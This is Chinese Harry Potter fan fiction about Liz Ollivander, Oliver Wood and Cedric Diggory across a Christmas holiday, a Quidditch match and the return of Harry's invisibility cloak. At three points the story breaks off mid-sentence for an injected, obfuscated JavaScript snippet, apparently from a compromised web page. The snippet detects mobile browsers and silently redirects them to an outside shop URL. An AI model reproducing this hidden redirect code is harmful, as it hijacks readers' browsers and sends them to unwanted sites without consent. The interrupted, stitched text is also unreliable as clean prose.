“两个人防守我一个人,这是不是不太公平?”她单手抱着一颗鬼飞球看向伍德和塞德里克。 “防别人是不公平,”塞德里克笑道,“防你是标配。” “谢谢抬举。”话音刚落她就耍赖似的直接贴底俯冲。 这一瞬间,伍德捕捉她眼中的神采,终于有些明白了,原来莉兹并不是一点儿都不喜欢,她或许只是没有那么喜欢魁地奇而已。 最后他们三个还真的在雪地上打了好几个滚,准备救球的莉兹最先翻起身,她两手团起一个大雪球扔在伍德的后背上,塞德里克也迅速反击,最后爬起来的伍德后知后觉加入了三人比拼,他们一直玩到太阳落山,浑身都湿漉漉的才罢休。 第二天一大早火车出发了,霍格沃茨好像一下子安静了下来,清晨的雾气蒙了车窗,车厢里最是兴奋的玛丽埃塔刚启程就打起了瞌睡,秋替她用斗篷当毯子盖上,帕德玛的孪生姐姐帕瓦蒂也和她们坐在一起,她是格兰芬多的学生,姐妹两个人样貌相似,不仅有一头浓密的黑发还有深邃的眉眼,都是漂亮的印度姑娘。 莉兹翻开一本书遮在脸上装睡,闭上眼睛时脑子里还是昨天傍晚的一场雪仗,雪球丢在伍德的肩头又散开,被不远处的夕阳染得金灿灿,像他的眼睛。 11. 尊重热爱 小奥利凡德先生在圣芒戈魔法伤病医院工作,魔咒伤害科总是人手不够,他通常都要到平安夜才能轮班休假。而另一边英联赛总算进入冬歇季,仍然忙碌着的米歇尔前段时间才从法国回来不久,毕竟冬季转会窗口马上就要开了,不能等到最后一刻才做考虑。 普德米尔已经错过了七月时的夏窗,虽然提前定下了奥利弗·伍德这样的新人,但若是真有可能的话,她最想要的还是布斯巴顿校队明年六月就毕业的追球手,还有保加利亚少年队的新星威克多尔·克鲁姆,这都是眼下就能决定比赛的选手。 不过听说欧联那些财力雄厚的俱乐部也给他们抛去了橄榄枝,米歇尔很清楚她今年的任务大约依旧是稳住续约的事情。 先前伍德回复了邀请信,第二日便收到了一份拟定的合同,那上头签约费和年薪都列得明明白白的,普德米尔联队的负责人让他假期时同父母一起到球队来详谈细节,若是一切合适,他毕业后的七月就可以正式加入球队了。 伍德的爸爸是个看着很老实又事事谨慎的中年人,他和米歇尔坐在桌子的两边,仔细询问着许多事,球场上的身影吸引了伍德的注意,他偏过头透过米歇尔身后的玻璃窗看着外面,一个身材娇小的选手正练习着侧飞的动作,一遍又一遍重复着向□□斜捡起地上的鬼飞球再放下的动作,斗篷的帽子向后被吹起,伍德看清了那人的脸——是莉兹。 如果说放假了可以和爷爷一起看店是莉兹所期待的事情的话,每天早晨被迫跟着米歇尔来普德米尔球场训练两个小时就是她最不期待的事情了。 抱着球筐站在场地上的时候,她刚好看到奥利弗·伍德,他穿了件不太合身的深灰色呢子西装,和他的爸爸站在一起,像是两个误入魁地奇球场的麻瓜,感觉是要加入足球队或者橄榄球队。 一边练着规定的训练任务,一边偷偷留意办公室,最近米歇尔总有把她往找球手上转型的意思,但她用校队目前的阵型就是最好的为理由劝住了妈妈,这当然是个借口,毕竟她又不想加入普德米尔的后备军。 看里面的人起身往外走了,莉兹顺手将鬼飞球抛出去,伍德反应很快上前两步跳起来接住了,他抬头看骑着扫帚停在半空的莉兹,她对他做了个扔过来的手势。 正当他走近了一些准备抬起手的瞬间,她又向这里俯冲侧过身子单手拿走了球,比半个小时前她练习的每一个动作都干脆利落,经过时她还小声说了一句:“恭喜你。” 愣住了来不及说谢谢,伍德听到爸爸在身后叫他,便转过了身。 她的身旁有风,迟钝的男孩子还在回味女孩在耳旁的低语。 其实莉兹真心为伍德感到高兴,她相信世界总会尊重一切热爱,一个人有机会全心全意为自己所热爱的事情付出就是幸福,因此他很幸运,努力有所回报就是幸运。 训练完之后莉兹和妈妈一起在破釜酒吧吃了点简餐,还是白天,酒吧里没什么客人,中间的一张长桌上就坐着几个人,很是冷清,同外面被各类圣诞装饰包裹着的查令十字街形成了对比,哪怕是多云的阴天,暖黄色的灯光也让人在冬日里觉得温馨。 安静地吃着香蕉派,莉兹把一大杯黄油啤酒喝到见底,偶尔有人上来打招呼,米歇尔也会笑着帮别人签名。 而球迷刚走开两步,她和女儿说话时脸上就没了笑容,“给你换个扫帚吧,光轮系列性能好,更适合俯冲。” “不用了,”莉兹摇头,“原来的用习惯了,保养得也好。” 接着又是一阵沉默。 米歇尔看了一眼她盘子里剩下的派皮,微微蹙眉,便和往常一样催促起来:“我和你说过多少次不要挑食,快点吃完,一会儿还要送你去店里,今天外面可不知道会有多少人呢。” “知道了。”莉兹不情不愿地把刚刚扒完的香蕉派皮塞进嘴里,但没烤熟的生面粉味道实在不好吃。 和麻瓜们的商店街一样,对角巷里从东到西也是满满当当都开着店,这个时节自然正是做生意的好时候,笑话商店摆出了玩具优惠的广告牌,孩子们都嚷嚷着要父母买,魁地奇精品店也趁机会推出了新款的扫帚,至于摩金夫人长袍专卖店的新礼服,更是成了女士们的首选,早两日莉兹就在这儿碰见了来买新裙子的秋·张,丽痕书店则是把吉德·洛哈特的新书海报贴得到处都是。 不过这些热闹和奥利凡德魔杖店没什么关系,大多数人这一辈子都只需要一根魔杖,甚至有的人会选择别人的旧魔杖,奥利凡德家至今都在吃着祖辈的老本,若是真要算什么盈亏,莉兹只会扔掉羽毛笔向梅林祈愿自己这一生不识数。 推门进去,老奥利凡德坐在梯子上头靠着柜子一动不动,午后正是困倦的时候,平时也没有客人,她也不知道爷爷是睡了还是在思考什么问题,叹了一口气弯下腰开始轻手轻脚地收拾散落一地的东西。 地上的纸盒子都被施过咒,只要碰一下便会回到原位,不过她还是在盒子自己飞回去之前看了一眼爷爷拿出来的都是什么魔杖,有四五根几乎都是梨木制的,内芯有独角兽的毛,还有一根是树峰龙的心弦,十一英寸又三分之一。 “塞西尔她写信来说魔杖在罗马尼亚弄断了,”老奥利凡德扶着梯子颤颤巍巍走下来,“我呀,我记得确实有一根她能用的在架子上的……” 他一边说着一边摊开了桌面上的那封信,让莉兹一起帮忙再找找,他知道虽然两个孩子兄妹俩关系紧张,但离家后塞西尔还是经常会写信来问问近况如何。老奥利凡德的妻子去世早,所以塞西尔连妈妈长什么样子都没有印象,当年因为布莱克家的事情有人对她指指点点,他便想如果妻子在的话会怎样安慰女儿。 最后他什么也没有说,只是轻敲房门,然后给她送去了热红茶和刚烤好的苹果肉桂卷。 快傍晚时莉兹在最下层的角落里找到了唯一一根黑梨木的龙心弦魔杖,尺寸虽然稍稍短了一些,但已经是最合适的了,她拍醒了在门前打瞌睡的猫头鹰,它的名字是班克,听说买回来的那天左眼上就有条疤了,包裹一绑好,班克便扑闪了两下翅膀飞向了天空。 平安夜很近了,所以莉兹顺便给塞西尔姑姑塞了一包巧克力蛙,还在里面放了张圣诞快乐的卡片。 而这年的礼物,她最先收到的是韦斯莱双胞胎寄来的,十二月二十五日一大早一直笨头笨脑的猫头鹰便从厨房的窗子飞进来一头栽进了她的麦片碗里,莉兹的一声尖叫把还在房间睡着的爸爸都吵醒了。 她多少还是对韦斯莱家的这只猫头鹰有些印象的,所以很谨慎地提着绳子把牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487799|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮纸袋放到门口去,然后蹲下来小心翼翼用魔杖戳了两下,砰的一声炸开了一团火花,先是闪着兄弟俩的手绘头像,然后又变成了一句“MerryChristmas”,最后慢慢落下,地上是个狭长的纸盒子,里面装着一根非常逼真的假魔杖。 轻轻一挥,魔杖顶部弹出来一只鸟,不停绕着她喊——小古板!小古板! 真是好一对天才兄弟,居然等到这时候来捉弄她,莉兹狠狠地将魔杖塞回去,又跳起来把那只鸟也塞进纸袋,那动作利落地仿佛是抓金色飞贼的找球手。 小古板的声音就被闷在纸袋子里,过了一会儿才安静下来。 在这份惊喜之后,塞西尔的礼物也到了,是制作精美的一把刻刀,刀柄还是龙蛋壳做的,光一照就会变成银蓝色,莉兹握住刀柄,十分趁手,像是量身定制的似的,她高兴地放进了自己的工具箱里,以后就用它来制作自己的魔杖了。 秋应该是给大家都寄了自己做的手链,因为信里说到玛丽埃塔还想问她怎么织的。 莉兹也一样,给寝室里的几个人送去的都是用黑檀木雕的人偶,用魔杖轻轻敲一下人偶的头就会飘出小雪花,还有淡淡的檀木香,这点小把戏是和乔治学来的。 至于伍德的礼物实在没什么新意,又是一大桶她最喜欢吃的太妃糖,竟然还没装满,不过拆到最后才发现下面垫着还有一件带保暖效果的斗篷,这是摩金夫人店里刚出的,她自己还没来得及去买呢。 拿出来站在镜子前将斗篷围上,肩膀上果然感受了暖意,顺便看了一眼掉下来的那张信纸上写的: 我想这应该是你需要的东西。 祝你圣诞快乐。 还有,桶里三分之一的糖被塞德里克抢走了。 她收起信封笑了笑,心想着那送给伍德的那套新的皮制护具就不算什么了,不过早知如此就不应该给迪戈里送龙卷风队的纪念徽章,上面莱莉·塔克的签名还是她很久以前托爸爸帮忙要来的,虽然他也给她寄了很不错的礼物,但这和抢太妃糖是两码事。 假期余下的时间莉兹基本上都在忙着写魔药学和魔法史的作业,她把每篇论文都写得又臭又长,三句话里至少有一半是废话,这并非是她的本意,而是只有这样她才能故意拖延时间,不用每天都去球场训练。 希望斯内普有耐心看完这么长的一卷羊皮纸,而不是扔进火堆里化灰。 在开学前一天回霍格沃茨的火车上,去米兰参加了婚礼的玛丽埃塔有一肚子的故事可以说,圣诞节寄来的信里讲的显然只是冰山一角,莉兹觉得装睡可能不是个好办法,就在伍德经过她们车厢去买南瓜饼的时候喊了一声:“奥利弗,你之前找我有什么事啊?” “没……”他疑惑地皱起眉头,莉兹便已经推着他向前去了。 “别回头。”莉兹小声提醒。 等到过了这节车厢,伍德拉开门问道:“我有找过你?” “没有啊,”莉兹摇摇头,一脸自己什么话都没说过的样子,“总而言之,谢谢你木头先生。” 说完她便拍了一下他的肩膀,走到最靠前的两个空座上躺下,旁若无人地闭上了眼。 伍德站在原地,伤脑筋地摸了摸后脑勺,愣了一会儿才转过身回了自己的座位。 12. 低调的拉文克劳 年初冬窗开放期间,魁地奇速报特地开设了一个转会信息专栏,自然是比不上夏窗的热闹,布斯巴顿校队的追球手伊利亚·特纳高价签约欧洲联赛积分第一的圣巴黎这件事引起了不少关注,而英联赛基本上都没有大动作,普德米尔更是什么也没捞着,只是预备队新添了一名守门员和一名击球手,暂时没有公开姓名。 莉兹咬了一口草莓派,心里想着她怎么不知道妈妈除了奥利弗·伍德还签了其他人,将报纸翻到下一页看其他新闻—— 塔特希尔龙卷风队的主教练迪奥拉表示,由于伤病问题停赛半年的找球手莱莉·塔克会出现在下周比赛的大名单上。 欧洲魁地奇协会宣布,今年夏天开始所有联赛的主客场积分都将按照新颁布的92年版规则来计算。 欧魁协第一只女子魁地奇球队在甲级联赛注册成功,由爱尔兰国家队前主帅碧翠丝·凯恩执教,即将以欧联赛第十九支队伍的身份参加92/93赛季的比赛。 …… “嘿小古板,有什么新鲜事说来听听?”拿着扫帚的乔治和弗雷德一左一右在她边上坐下,打断了莉兹读报纸的消遣。 见这对兄弟穿着队服又头发凌乱不堪的样子,莉兹估计新学期开始伍德又领着格兰芬多全队人去球场早训了,她把魁地奇速报合上刚要抬手递给乔治,弗雷德手快便先拿了过去。 没抢到报纸的乔治摇了摇头,也不管这是拉文克劳的桌子便直接吃了起来,他喝了一大口玉米浓汤,嘴巴里含糊不清地说:“我已经忘了这学期还剩下几次魁地奇比赛了。” “这难道很重要吗?”莉兹把右手边的黄油和抹刀换到左手边去给看起来饿坏了的乔治。 “当然重要,”弗雷德抢着回答,“这意味着我们还要被奥利弗折磨多少次。” “还有两轮,”吃完盘子里的派,莉兹背上包站起来,“不要说我没有提醒你们,变形课十五分钟以后就要开始了。”刚转了身又转回来,“还是别换衣服了,穿着队服迟到麦格教授可能会把账记在你们队长身上,走了。” “我觉得她每次提到奥利弗的时候心情都挺好的。”乔治完全不着急,仍然在不紧不慢地吃着东西。 “我也发现了。”同时弗雷德也撕开餐包扔进碗里。 兄弟俩吃得津津有味,甚至还有功夫和对面准备坐下的秋和玛丽埃塔打招呼,她们俩虽然都愣了一下,但还是和往常一样坐在了老位置,要知道去赫奇帕奇那儿串桌的人不少见,但两个格兰芬多在拉文克劳的桌子上绝不是什么常见的场景。 不过既然是韦斯莱双胞胎,那他们做什么都不出奇了。 比如说两个人竟然真的穿着队服在变形课已经开始十分钟以后急匆匆地跑进了教室,莉兹哭笑不得地低头遮住自己的脸,防止麦格教授发现她笑得太开心顺便也给她抽查几个问题,好在变形课一直是他们的强项,教授连出了几个刁钻的问题都没能难住兄弟两个。 于是,麦格教授露出了一副“这样我也不好意思给你们扣分”的表情,放过俩人一马。 莉兹一直觉得虽然麦格教授表面严厉还天天训斥不听话的双胞胎,但怎么看她都是非常喜欢他们才对。 就入学这几年的观察来判断,老师们都喜欢足够出挑的学生,即便有时嘴上说着某某太顽劣了,不过心里也都是欣赏的,而莉兹作为一个非常低调,或者说尽量保持低调的拉文克劳学生,她在生活里最擅长的,也是她在魁地奇球场上最擅长的,那就是融进人群里。 这时常让人放松警惕,最后上了她的当,掉进她的网里。 奥利弗·伍德对此很有发言权,毕竟他大约是栽跟头最多的那个人了。 又是一节算术占卜课,伍德每堂课都在掰着指头算在他六月参加普通巫师等级测试之前还剩下几节课,不过越是算他越觉得这门课拿下A的可能性越低了,而一分钟之前坐在他旁边的莉兹又轻而易举地写出了维克多教授出的题目。 他低下头,对着空空如也的羊皮纸,长叹了一口气。 “你要这么拆开算,”莉兹用羽毛笔在他抄下来的题目是上画了几个圈,“这并不难……” 安静地看着女孩在纸上写下一排又一排算式,伍德从前就发现莉兹的字迹特别好认,每个字母的最后一笔总会向上提,落款时一般也只留名字的缩写,这是他和她来回寄了几次信以后得出的结论。 “奥利弗。”她突然叫他。 “是。”他下意识挺直了后背回答道。 “我之前不小心听到,你们跟赫奇帕奇的比赛,裁判又是斯内普。”莉兹转过身面朝前手托着腮,一边写着维克多教授出的另一条题目一边说道。 “该死的。”伍德的脸色瞬间变得凝重起来。 “那祝你们好运了。”她轻轻歪头,瞥了他一眼。 毕竟魁地奇比赛也就这点好了,无论什么时候只要抓住金色飞贼,哪怕比赛才进行了两分钟也可以直接结束,于是和上学期拉文克劳对斯莱特林时一样,格兰芬多的主要任务也是速战速决。 这天比赛前原本莉兹还想着赫奇帕奇真是运气不错,在这个点上能碰到这种好事,结果她不过是耽搁了一会儿没赶上比赛的开场,等到她匆匆跑到球场时,霍琦夫人竟然已经吹了哨。 选手们缓缓落到地面,从球门区飞下来的伍德先是和赫奇帕奇的队长握了握手,然后高兴地揉了揉哈利的头大声说他干得漂亮,他实在是太开心了,拿下了这场的积分,格兰芬多的积分就能排到第一位了。 因此最后一个落地的斯内普才会仿佛刚刚吞了一整颗大粪蛋似的,他看着哈利抓在手心的金色飞贼,非常不情不愿地宣布了格兰芬多的胜利。 霎时间看台上的格兰芬多的学生开始整齐地喊着队里每个人的名字,他们在庆祝在欢呼,这种喜悦是相当有感染力的,就连根本没注意到金色飞贼在哪里而对方的一年级却已经抓到了它的塞德里克都是一点也不失落,他甚至觉得哈利很厉害。 这令人敬佩的风度,果然是完美先生迪戈里。 “我这迟到的可真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487800|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不巧。”在球场边站着的莉兹对手拿扫帚走过来的塞德里克说。 “谁也想不到比赛才开始五分钟就能结束,我今天还做好了打持久战的准备,之前你们和格兰芬多的那场可是整整耗了一整个半天。”塞德里克解开斗篷的纽扣,又随意梳了两下被吹乱的卷发。 说着说着他又改了口,“不对,持久战是因为你们,不是因为他们。” “恭喜迪戈里先生答对了问题,赫奇帕奇加五分。”莉兹抬手鼓了鼓掌。 而塞德里克早就习惯了这位奥利凡德的冷幽默,他只是又露出了经典的微笑,然后拍了拍对方的肩膀就往更衣室去了。 留在原地的莉兹看向被围在人群中心的伍德,迟钝的木头先生其实笑起来挺帅气的,午后晴朗的阳光就在他的眼里,也在他的发梢,她立马低下头两手搓了搓脸颊,有什么多余的温度,让它们变得发烫。 犹豫了几秒,莉兹选择了转身。 伍德踮着脚朝这里看过来,刚刚还在的人已经不见踪影,他的心里闪过一点点失望,因为他实在期待自己能听到莉兹的恭喜,就像在普德米尔球场的时候,她在他耳边说的一样。 不仅如此,奥利弗·伍德都打算好了,如果这次她来说恭喜,他就要借大家都在欢呼热闹的时候拥抱她,这没什么理由,只是在那个当下他的脑海里有了一种冲动,让他去拥抱一切想拥抱的人。 事后没过几天,伍德提到这件事,塞德里克还调侃他:“你怎么不抱抱我呢,我们不是亲如兄弟吗?” “行,我的好兄弟。”伍德一把将塞德里克狠狠抱住,他胳膊上的肌肉绷紧了,若是没收住铁定会把他的肋骨勒断的。 “哦——梅林——”路过的低年级学生大约是误会了什么,捂着眼睛飞奔离开了。 立马松开手的伍德皱起了眉头,而一旁的塞德里克却笑得直不起腰。 正好这时候又和他俩约好了一起打迷你魁地奇的莉兹姗姗来迟,伍德一见女孩就红了耳朵,他昂着头站起来,不让莉兹看到自己的脸,本来就笑得停不下来的塞德里克直接笑出了声,他拉住莉兹的斗篷准备要说什么却忍不住一直在笑。 完全不知道两个人发生了什么的莉兹,要不是知道塞德里克的魔咒使用水平能在全霍格沃茨的学生里排到前三,她都要怀疑是不是谁给他施咒语了,不过她想了想还是决定掏出魔杖,反正多念一句“咒立停”也没什么坏处。 “别笑了,”伍德对着还在中庭长椅上坐着的塞德里克喊道,“还要去扫帚棚拿扫帚呢!” 说罢便一个人走在了最前面,莉兹摇了摇头把魔杖收起来,和还在喘着气的塞德里克跟在后面。 幸好复活节假期米歇尔没再布置什么训练任务,不过自从签下伍德以后,只要莉兹在信里说到会和他一起玩魁地奇,米歇尔就会很是信任地说这很好。 对莉兹来说也是一个好消息,毕竟自由地玩魁地奇和按计划进行训练是两种不同感受,她只是不想当职业选手,魁地奇本身于她还是乐趣无穷的。 13. 变换的楼梯 莉兹在天文塔楼顶捡到了一件隐形斗篷,就在今天一大早的时候。 她为了完成天文学课的期末论文,凌晨四点便要起床去记录金星的位置,说来也巧,同组的安吉丽娜本来和她约好五点十分在这儿见面的,却迟迟不见人,莉兹等了一会儿就只能自己调整了望远镜,一个人包揽了测量与标记的工作,直到太阳缓缓升起、金色的光洒射下来,才差不多完成了任务。 趴在地上用铅笔在本子上画了草图,她又写了一些数字,刚要起身就注意到了挂在楼梯扶手上这件材质特殊的衣服。 “这好像是……”她自言自语道。 原来这世界上真的有隐形斗篷,莉兹惊奇地把斗篷在手里翻来覆去地看,她真的很好奇这究竟是什么材质,如果条件允许的话,她甚至会将它剪开研究。 毕竟她和爷爷一样,都对一切稀奇古怪的材料感兴趣,万一适合做魔杖呢。 把斗篷装进背包里,迎着春日里早就脱了冷气的日光,莉兹快跑着下楼。 不过还未走进礼堂大门,就已经能听见里面七嘴八舌的议论声了,虽然从前这个时间也一样吵闹,但今天确实是有些反常了,莉兹的目光被沙漏吸引走了,或者说每个人的目光都被吸引走了,一夜过去原本积分遥遥领先的格兰芬多竟然比魁地奇比赛前的还要少,她看向隔壁的长桌,前些日子还被当作救世主的哈利低着头,简直恨不得将自己的脑袋整个儿按在桌面上。 综合这么多要素想推理出一个合适的答案并不困难,但为了准确度还得需要从各个版本的流言中筛选出可信度高的,莉兹实在没这么清闲,自然也没有多余的好奇心,三三两两聚在一块儿说闲话的人都挤在走道上,她费力地伸长了胳膊拍了拍安吉丽娜的肩膀,然后将整理好的记录递给了她。 “我把数据都写上了,论文后面就交给你!”周围都是人在说话,莉兹已经尽量把声音放大了。 “什么?”安吉丽娜接过了册子,她凑过来皱着眉头问。 “我说,”莉兹叹了一口气,用胳膊肘碰了碰挡路的两个格兰芬多的男生,艰难地走到了她身边,弯腰在耳边说着,“数据我已经标完了,论文最后收尾交给你。” “真是太感谢了,莉兹,我都不知道该说什么好了,”安吉丽娜让了点位置给莉兹坐着,也在她耳边回道,“今天凌晨胖夫人死活就是不开公共休息室的门,说昨天有三个一年级的跑出去了,所以麦格教授就让她不到六点半不开门。” “又不是什么大事,”莉兹又看了一眼沙漏,“不过你们这个扣分的架势可不小啊。” 安吉丽娜无奈摇摇头,“上一次这样的扣分还是弗雷德他们一年级的时候。” “那真是壮举啊,乔治你说呢。”坐在对面的这对双胞胎的耳朵倒是灵光。 “是啊,弗雷德,还有点怀念呢。”乔治笑道。 “不过我们加起来也不过一百分,看来下次要努力一把了。”弗雷德故意摆出很是认真的表情。 莉兹站起身来并没有接话,周围人看起来也聊得差不多了,他们回到各自学院的桌子前坐下,毕竟现在所有人都知道了所谓的“罪魁祸首”的身份,接下来要做的就是把这件事传出去,流言不就是这样的一种东西吗? 而她刚走到玛丽埃塔身旁,对方就拉着她的袖子小声说:“我听他们说是波特半夜上天文塔去了,还有人看到他和一只龙在一起,我没记错的话,英国是禁止养龙的吧。” 虽然莉兹试图找到一个切入口让喋喋不休的玛丽埃塔闭上她的嘴,不过她摸了摸背包里的隐形斗篷,联系了一下刚刚听到的内容,她也基本上能断定这件斗篷的主人究竟是谁了。 “私人养龙确实是禁止,姑姑跟我讲过的,”她随口回道,“不过如果真有机会能接触到龙的话,违反一次校规又算什么呢?” “瞧瞧你这说的什么话呀!”隔了两个空位坐着的戴维斯不知怎么就听到她说的话了,大约是正愁最近没机会和她拌嘴,这不就找上门来了。 “您觉得我这是说的什么呀,”莉兹微笑着转过头,“幸好门环没有什么减分机制,不然拉文克劳的分都要被一个人扣光了,你说是吧,亲爱的戴维斯。” 昨天晚上门环出了条奇怪的问题,连续堵了十来个一年级的在门口,戴维斯信心满满地拍着胸脯说交给他了,最后还是等到在训练场练了好一会儿投球的莉兹上楼才解救了大家,她当时急着回去换衣服,完全没注意到站在边上脸色难堪的戴维斯。 找上门拌嘴的人被两句话就给打蔫了,莉兹便掰开面前盘子里的一块司康饼,认真又仔细地往上面抹着蓝莓果酱。 刚从麦格教授那里听了第一手消息的伍德板着一张脸走进来,他从哈利身后经过,见到双胞胎兄弟正在拿他打趣,便没再开口安慰,他找了个空位置坐下就仰头咕嘟咕嘟灌了满满一杯热牛奶下肚,完全不理睬对面的珀西说的所有话,至于他这个级长能说些什么——哈利是你们魁地奇球队的人,他年纪最小你本来就应该看着他,魁地奇比赛如果再输我们可就要垫底一年了。 伍德希望珀西能给他几秒钟空闲,两秒其实就够,完全来得及让他给自己施个闭耳塞听咒之类的,那这样在上午格兰芬多和拉文克劳一起上的那节草药课开始前,他还能清静地思考学期末对拉文克劳的比赛应当打出多大的比分才能让格兰芬多不至于垫底。 他突然想起斯普劳特教授布置的作业,抬手给珀西比了一个闭嘴的手势,然后翻出包里那张空了三分之一的羊皮纸试卷,他本来还想着早点来礼堂在吃早餐的时候写完的,倒是在半路被麦格教授拦住了。 “帕特里克,嘿,兄弟。”伍德连续叫了他两声,隔壁桌在给一年级的学生辅导的帕特里克才反应过来。 这位好心肠的拉文克劳级长可是出了名的善心人,很多人都时常想帕特里克·费尔曼当年是不是更应该被分去赫奇帕奇,毕竟他在魔法部工作的父母,也就是费尔曼先生和夫人这些年一直都致力于解决欧洲魔法界内的失学儿童问题,这可是吃力不讨好的公益工作。 从他手里拿过了羊皮纸卷,伍德叼着一片白土司,埋头奋笔疾书,珀西见这抄作业的举动,摇了摇头表示了自己的嗤之以鼻,然后便起身去提醒有早课的低年级别再磨磨蹭蹭,就要迟到了。 这事过去了有两日,格兰芬多队里的大家看起来像是已经不在意了,但还是尽量不去提到哈利的名字,而找不到机会和哈利交流的莉兹便也多保管了隐形斗篷两天,她曾经尝试着拿出来试试,不过宿舍里总有人在,她也觉得随意使用别人的东西不太合适,当然了她还觉得哈利应该并不希望让别人知道这是他的。 这是不是违反校规,那莉兹不清楚,她就是换位思考了一下,如果自己有这么一件道具的话,肯定是想秘密地让它发挥作用的,否则人人都知道自己有意见隐形斗篷了,那隐形的意义就变得没有意义了。 晚上图书馆闭馆前,她被平斯夫人没好气地叫醒,桌上还摊着下周要交的魔药学和魔法史作业,难度确实都不大,但是找资料这件事实在太繁琐又无趣了,下午还陪着秋特训了一小时,如果不是后半程塞德里克来救场,她大约是要指导人家姑娘练到天黑的,于是莉兹才翻了一会儿书便困得趴在了桌上。 推开门她站在原地打着呵欠揉了揉眼睛,犹豫着是向左回宿舍,还是向右去厨房找点吃的,这时洛丽丝夫人出现了前方角落,费尔奇那沉重的脚步声就在跟前了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487801|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好吧,这是梅林的意思,这就去厨房。 没走几步,莉兹又看到下楼的台阶上坐着个人,这条往厨房的小路还是乔治告诉她的,平时也不会有其他人走,只见那个人背影瘦小得很,留着一头凌乱的短发,领带胡乱反戴着。 软底的牛皮鞋在大理石地面上多少还是发出了点声响,男生抬起头来。 “马上就是宵禁了。”莉兹提醒道。 “我……我知道了,谢谢你。”男孩从口袋里摸出了眼镜戴上,镜架不知道为什么歪了看起来有点滑稽。 犹豫了那么久都不知道怎么物归原主,现在倒是直接送上门来了,莉兹拍了拍正准备站起身的哈利的肩膀说:“你等我一下。” 她小跑着进厨房,偷偷趁梅丽背过身的时候拿了几块曲奇,顺便从背包里拿出了用牛皮纸袋包好的隐形斗篷,神情低落的哈利看着像是正在思考着什么伤脑筋的问题,莉兹将纸袋放在他的膝盖上,还放下了两块饼干。 “下次别忘了带走,我不会和别人说的,”莉兹说着给他的眼镜施个咒,“早点回去。” 哈利只有偶尔从弗雷德和乔治那里会听到莉兹的名字,他们似乎关系很不错,伍德也常在比赛前成日把莉兹挂在嘴边,说着如果我们能像她那样或者这样布局之类的,但这还是哈利第一次和莉兹说上话。 曲奇饼比他的拳头还要大一圈,他掰开一半塞进嘴里咬着,剩下的就放进口袋里带回去给罗恩和赫敏,撕开牛皮纸袋的一角,他愣得差一点把饼干掉在地上——这是他丢在天文塔楼的隐形斗篷。 其实是不是应该多安慰他两句,像是学院杯没有那么重要、不需要惦记这么久、也没有人会责怪你这样的话,莉兹啃着黄油味的曲奇慢悠悠走在楼梯上,她在心里这么想着,毕竟还只是个一年级的,况且一个大难不死的称号就够他受的了。 不过这种安慰话也挺多余的,每个人都有每个人的生活,她脚下一滑,楼梯又变了方向,墙上油画里的人正在嘲笑她这个走路还要发呆的人,苦笑着想早知如此就不去管那个闲事直接把违禁品交给弗立维教授就行,本来就和她没什么关系。 她趴在栏杆上向下看了一眼,这段楼梯在宵禁前还会变化两次,下一次应该是在六分钟以后,与其退回去绕路再上楼,还是坐着等它自己转回来比较划算。 “你怎么在这儿坐着?” 今天真是个偶遇的好日子,莉兹听见伍德的声音,轻笑了一声。 “还有四分二十五秒,楼梯会转向直通塔楼的方向,”她回答道,“我在图书馆睡着了,回来晚了。” “我刚刚……”伍德的话被莉兹打断。 “去练魁地奇了,”她摸出另一块曲奇,“给你。” “谢谢,其实是在维克多教授办公室补习,”伍德不好意思地摸了摸后脑勺,“他说我要是这么下去,下个月的考试准会完蛋。” “一门课而已,下个阶段不选了呗。”莉兹默数着时间,却发现它过得好快。 “那不行,”伍德坚决地说道,“下学期我还……”他还是很想和莉兹一起上课的。 “哎呀,一分三十六秒了。”她理了理裙摆站起来,头发上还沾了曲奇碎屑,伍德下意识替她掸了掸发尾,正准备要解释什么的时候,楼梯动了起来,她回头转身拉住了他的手。 “下一次就是十一分钟了。”莉兹立马将手松开,跑上了楼。 “晚安。”伍德对着她的背影摆了摆手。 莉兹随口报出了答案,公共休息室的门缓缓打开,为什么刚刚的那段不能是十一分钟的间隙呢,她反问自己的瞬间又反驳说,如果是十一分钟的话,她应该就会下楼绕一圈了,这样也碰不到他。 14. 塞西尔姑姑 亲爱的伊莉莎* 最近过得怎么样? 我又去了一趟罗马尼亚,这次为了掩饰行踪所以乘坐了麻瓜的交通工具,叫做飞机,我无法和你描述我的感受,同行的库尔特呕吐了一路,我甚至觉得冒险使用幻影移形可能会更舒适一些。 不过我们最后还是通过罗马尼亚魔法部的飞路网回来的,龙蛋走私的事情已经解决完毕,我暂时或者说至少一年内都不想再出国了。 米歇尔还是对你很严格吗,我听说你的表现很不错,别太在意她的话,你非常棒。 …… 